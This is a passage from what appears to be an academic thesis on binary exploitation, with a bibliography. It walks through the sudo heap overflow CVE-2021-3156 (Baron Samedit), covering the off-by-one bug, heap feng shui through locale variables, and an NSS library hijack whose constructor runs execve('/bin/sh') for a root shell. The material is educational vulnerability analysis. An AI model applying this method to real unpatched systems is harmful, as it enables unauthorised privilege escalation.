On 2021-01-26, the Qualys Research Team disclosed a vulnerability on the sudo command
that allowed privilege escalation via heap overow[25].
The sudo program is a utility for UNIX systems that allows a user to run programs with the
privileges of another user. It comes installed by default in almost all Linux distributions.
The aected versions go from 1.8.2 to 1.8.31p2 for legacy versions and from 1.9.0 to 1.9.5p1
for stable versions. Exploits have been tested for Ubuntu 20.04, Debian 10, Fedora 33,
MacOS Big Sur.
7.1.1 Weakness
The weakness exploited is an o-by-one error (CWE-193). That means that the range for
a loop is wrongly calculated to do more iterations than intended.
1 char from[] = {0x41, 0x41, 0x41, 0x41, '\\', 0x0, 0x41, 0x41, 0x0};
2 char* to = malloc(sizeof(char) * strlen(from) + 1);
3
4 while(*from)
5 {
6 if(from[0] == '\\')
7 from++;
8 *to++ = *from++;
9 }
7.1.2 Bug
Vulnerability identication
In set_cmnd() heap overow could happen if a command line argument ends with a back-
slash. A buer is allocated on the heap to store the user provided arguments. To know the
length of the buer it iterates over argv and calls strlen that stops on a null termination
49
50 Practical case
byte.By changing the arguments provided to sudo we can control the size of the
heap allocated buer.
Later, the program rewrites the argv values on the newly allocated buer. But inside the
transferring code there is an o-by-one bug hidden. By providing a backslash on the input
we can make the from pointer advance two positions on an iteration, jumping over the
null byte that would stop the copying.
(a) from[0] points to the backslash and from[1] points to the null termination byte.
i. from gets incremented and now points to the null termination byte, skipping
over the backslash.
(b) The null byte is copied into the buer and from gets incremented. Now from is
pointing to the data after the null byte.
7.1 CVE-2021-3156 51
This way, the while loop will copy more data than was previously calculated, writing outside
of the heap allocated buer and overwriting critical data on the heap chunks.
MODE_RUN must be turned o because it will trigger code that escapes special characters on
the command line arguments. That obviously will prevent us from triggering the bug.
MODE_EDIT or MODE_CHECK are set manually via command line options, -e and -e, a check on
parse_args() turns o MODE_SHELL. But calling sudoedit instead of sudo automatically
sets MODE_EDIT without unsetting MODE_SHELL.
7.1.3 Exploitation
Overowing with data
Once we know we can overow the heap buer, we need targets. In their report, the Qualys
team rst tried to abuse locale related settings to turn the buer overow into a format
string vulnerability. In the process they implemented a fuzzer to play around with LC_x
environment variables. The initial plan ended up failing ultimately but thanks to the fuzzer
they produced dozens of unique crashes, from which they exploited three cases.
Here I am going to discuss an implementation for the second case they presented: overwriting
the name of a library loaded at runtime.
52 Practical case
1 cmnd_status = set_cmnd();
2 /* ... */
3 validated = sudoers_lookup(snl, sudo_user.pw, FLAG_NO_USER | FLAG_NO_HOST,
pwflag);
In this case, sudo will try to load the service les from the database group. If we overwrite
the name eld of the service structure we will control what library sudo is going to load.
To make sure we do not override anything that could cause a segmentation fault before
nss_load_library is called we need to allocate the user input buer closely to the chunk
where this data structure is allocated. To ensure we get the chunk we want, we need to
employ a special technique: heap feng shui.
tcache
0x20 ...
0x30 ...
0x40 ...
0x50 0x55aabb
0x55aabb
0x55aabb
Now, we need to nd some code that we can control to make all the allocations and frees
needed to shake the heap around. setlocale is a function used to set locale and language
setlocale performs quite
related settings for ease of translation at runtime. It turns out that
mallocs and frees with environment variables used for locale settings: LC_CTYPE,
a lot of
LC_TIME, LC_MONETARY, just to name a few. Because they are environment variables we can
control their size and their contents, just what we needed to implement the heap feng shui
technique.
I wrote a bruteforcer that will play around with the values for LC_* variables and observe
the state of the heap and the tcache. If the tcache holds a chunk ready to be allocated that
is before the chunk where group:les is allocated then a solution is found.
7.1 CVE-2021-3156 55
0x55aabb
Environment variables
First we need some padding to compensate for the oset where the actual data of the chunk
starts versus where the chunk starts. Then we can set the new contents for the group:les
service. Lastly, put the LC_* variables that the bruteforcer found as a solution.
56 Practical case
Evil library
For the hijacked library, we are going to make a dynamically linked library that calls
execve("/bin/sh") on the constructor. When the library gets loaded, it will automati-
cally start execution of the constructor function and open a root shell for us. It is important
for the library to be present at the same directory the exploit is executed and to be inside
a folder called libnss_${name}, where name is the name of the library.
A.1.2 CNAs
CVEs are assigned by CVE Numbering Authorities, being them formal and partnered organi-
zations with the CVE Program. When a researcher or organization nds some vulnerability
they request a CNA to assign a CVE ID to the vulnerability and registers it to the CVE
database as a record only if the vendor or owner of the software allows to publicly disclose
the vulnerability.
57
58 CVEs and CWEs
List of Figures
59
60 LIST OF FIGURES
61
62 LIST OF TABLES
Bibliography
[1] Aleph1. Smashing The Stack For Fun And Prot. url: http://phrack.org/issues/
49/14.html. (accessed: 10/4/2021).
[2] Anonymous. Once upon a free. url: http : / / phrack . org / issues / 57 / 9 . html.
(accessed: 3/5/2021).
[4] Atum. Intro to Windows Exploit Techniques for Linux PWNers. url: https://blog.
pwnhub.cn/download/01/WinPWN.pdf. (accessed: 11/5/2021).
[5] Eik Bosman and Herbert Bos. Signal-return oriented programming. url: https://
www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf. (accessed: 8/5/2021).
[6] Intel Corporation. Intel 64 and IA-32 Architectures Software Developer's Manual Vol-
ume 1: Basic Architecture. Intel Corporation, 2020.
[7] D3v17. Ret2dl_resolve x64. url: https : / / syst3mfailure . io / ret2dl _ resolve.
(accessed 31/05/2021).
[9] Peter Van Eeckhoutte. Exploit writing tutorial part 6 : Bypassing Stack Cookies, Safe-
Seh, SEHOP, HW DEP and ASLR. url: https://www.corelan.be/index.php/
2009/09/21/exploit- writing- tutorial- part- 6- bypassing- stack- cookies-
safeseh-hw-dep-and-aslr/. (accessed: 6/4/2021).
[10] Patrice Godefroid. A brief introduction to fuzzing and why it's an important tool for
developers. url: https://www.microsoft.com/en- us/research/blog/a- brief-
introduction-to-fuzzing-and-why-its-an-important-tool-for-developers/.
(accesses: 31/05/2021).
[11] Google. AFL (american fuzzy lop). url: https : / / afl - 1 . readthedocs . io / en /
latest/index.html. (accessed: 17/3/2021).
[12] Google. Coverage guided vs blackbox fuzzing. url: https : / / google . github . io /
clusterfuzz/reference/coverage-guided-vs-blackbox/. (accessed: 2/6/2021).
[13] ir0nstone. Binary explotation notes. url: https://ir0nstone.gitbook.io/notes/.
(accessed: 31/3/2021).
63
64 BIBLIOGRAPHY
[17] Dr. Hector Marco-Gisbert and Dr. Ismael Ripoll-Ripoll. return-to-csu: A New Method
toBypass 64-bit Linux ASLR. url: https :// i.blackhat.com /briefings/asia /
2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-
Linux-ASLR-wp.pdf. (accessed: 9/5/2021).
[18] MaXX. Vudo malloc tricks. url: http://phrack.org/issues/57/8.html#article.
(accessed: 10/4/2021).
[19] Mitre. CVE-2021-3156. url: https : / / cve . mitre . org / cgi - bin / cvename . cgi ?
name=CVE-2021-3156. (accessed: 12/05/2021).
[21] Nergal. Advanced return-into-lib(c) exploits [PaX case study]. url: http://phrack.
org/issues/58/4.html. (accessed: 9/5/2021).
[25] Qualys. CVE-2021-3156: Heap-Based Buer Overow in Sudo (Baron Samedit). url:
https : / / blog . qualys . com / vulnerabilities - research / 2021 / 01 / 26 / cve -
2021- 3156- heap- based- buffer- overflow- in- sudo- baron- samedit. (accessed:
17/3/2021).
[26] Ungureanu Ricardo. 0ctf babystack with return-to dl-resolve. url: https : / / gist .
github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62. (accesses: 9/5/2021).
[27] Ryan Roemer et al. Return-Oriented Programming: Systems, Languages, and Appli-
cations. url: https://hovav.net/ucsd/dist/rop.pdf. (accessed: 17/3/2021).
[28] Fundación Sadosky. Guía de exploits. url: https://fundacion- sadosky.github.
io/guia-escritura-exploits/format-string/5-format-string.html. (accessed:
24/3/2021).
[30] SCUT and TESO Security Group. Exploiting Format String vulnerabilities. url: https:
/ / crypto . stanford . edu / cs155old / cs155 - spring08 / papers / formatstring -
1.2.pdf. (accessed: 17/3/2021).
[31] Qualys Research Team. Baron Samedit: Heap-based buer overow in Sudo (CVE-
2021-3156). url: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-
samedit-heap-based-overflow-sudo.txt. (accessed: 14/05/2021).
[32] Worawit Wangwarunyoo. Exploit Writeup for CVE-2021-3156 (Sudo Baron Samedit).
url: https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-
2021-3156-sudo-baron-samedit-7a9a4282cb31. (accessed: 14/05/2021).
BIBLIOGRAPHY 65
[33] Jyh-haw Yeh. Format String Vulnerability. url: http : / / cs . boisestate . edu /
~jhyeh/cs546/Format-String-Lecture.pdf. (accessed: 28/3/2021).
[34] Andreas Zeller et al. The Fuzzing Book. In: The Fuzzing Book. Retrieved 2019-09-09
16:42:54+02:00. Saarland University, 2019. url: https://www.fuzzingbook.org/.
[35] Fengwei Zhang. Format-String Vulnerability. url: https://fengweiz.github.io/
19fa-cs315/slides/lab10-slides-format-string.pdf. (accessed: 28/3/2021).